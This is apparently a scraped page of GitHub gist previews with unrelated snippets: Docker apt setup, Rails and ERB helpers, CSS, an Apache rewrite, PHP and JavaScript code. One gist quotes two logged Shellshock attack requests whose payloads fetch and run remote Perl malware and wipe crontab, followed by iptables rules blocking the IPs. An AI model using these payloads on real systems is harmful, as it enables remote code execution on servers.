This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
export DEBIAN_FRONTEND=noninteractive | |
# update repository | |
apt-key adv --keyserver hkp://p80.pool.sks-keyservers.net:80 --recv-keys 58118E89F3A912897C070ADBF76221572C52609D | |
echo 'deb https://apt.dockerproject.org/repo ubuntu-trusty main' > /etc/apt/sources.list.d/docker.list | |
apt-get update | |
apt-get upgrade -y | |
apt-get autoremove --purge -y | |
apt-get purge -y lxc-docker |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# shellshock exploit | |
# 209.236.133.201 - - [02/Mar/2015:15:50:03 +0700] "GET /cgi-bin/sip.cgi HTTP/1.0" 301 178 "-" "() { :;}; /bin/bash -c \x22cd /var/tmp ; wget http://151.236.44.210/ft.exe ; curl -O http://151.236.44.210/ft.exe;perl ft.exe;perl /var/tmp/ft.exe;perl ft.exe\x22" | |
iptables -I INPUT -s 209.236.133.201 -j DROP | |
iptables -A OUTPUT -d 151.236.44.210 -j DROP | |
# 31.184.194.114 - - [04/Mar/2015:10:29:53 +0700] "GET /fcgi-php/php HTTP/1.1" 301 178 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22crontab -r;killall -9 php perl; cd /tmp/ ; mkdir gnu-bash-max-races ; cd /tmp/gnu-bash-max-races ; wget http://64.32.12.152/gnu-bash-max-race ; lwp-download http://64.32.12.152/gnu-bash-max-race ; fetch http://64.32.12.152/gnu-bash-max-race ; curl -O http://64.32.12.152/gnu-bash-max-race ; perl gnu-bash-max-race;cd /tmp/;rm -rf max*\x22);'" | |
iptables -I INPUT -s 31.184.194.114 -j DROP | |
iptables -A OUTPUT -d 64.32.12.152 -j DROP | |
# 50.22.0.250 - - [2 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
--------------------------------------------------------------------------------------------------------- | |
# app/helpers/application_helper.rb | |
--------------------------------------------------------------------------------------------------------- | |
def horizontal_simple_form_for(record, options={}, &block) | |
options[:html] ||= {} | |
options[:html][:class] = "form-horizontal #{options[:html][:class]}".rstrip | |
options[:wrapper] = :bootstrap_horizontal | |
simple_form_for(record, options, &block) | |
end | |
--------------------------------------------------------------------------------------------------------- |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<%%= simple_form_for(@<%= singular_table_name %>) do |f| %> | |
<%%= f.error_notification %> | |
<div class="form-inputs"> | |
<%- attributes.each do |attribute| -%> | |
<%%= f.<%= attribute.reference? ? :association : :input %> :<%= attribute.name %> %> | |
<%- end -%> | |
</div> | |
<div class="form-actions form-group"> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* fix image in recaptcha */ | |
#recaptcha_area * { | |
line-height: normal; | |
} | |
#recaptcha_area #recaptcha_response_field { | |
height: 16px; | |
display: inline; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
ActiveRecord::Base.logger = Logger.new(STDOUT) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
ErrorDocument 503 /index.html | |
RewriteEngine On | |
RewriteBase / | |
RewriteCond %{REQUEST_FILENAME} !-f | |
RewriteCond %{REQUEST_FILENAME} !-d | |
RewriteRule .* /index.html [R=503,L] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// import socialniho menu | |
$top = new Menu('Top menu'); | |
// page link | |
if ($page = get_page_by_path('some-page')) { | |
$top->title('Page'); | |
$top->object_id($page->ID); | |
$top->object('page'); | |
$top->type('post_type'); | |
$top->save(); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def autosave_associated_records_for_team | |
if team.name.blank? | |
self.team_id = 1 | |
else | |
# Find or create the team by name | |
self.team = Team.find_or_create_by_name(team.name) | |
end | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function formatUSprice(amount) | |
{ | |
var i = parseFloat(amount); | |
if(isNaN(i)) { i = 0.00; } | |
var minus = ''; | |
if(i < 0) { minus = '-'; } | |
i = Math.abs(i); | |
i = parseInt((i + .005) * 100); | |
i = i / 100; | |
s = new String(i); |
NewerOlder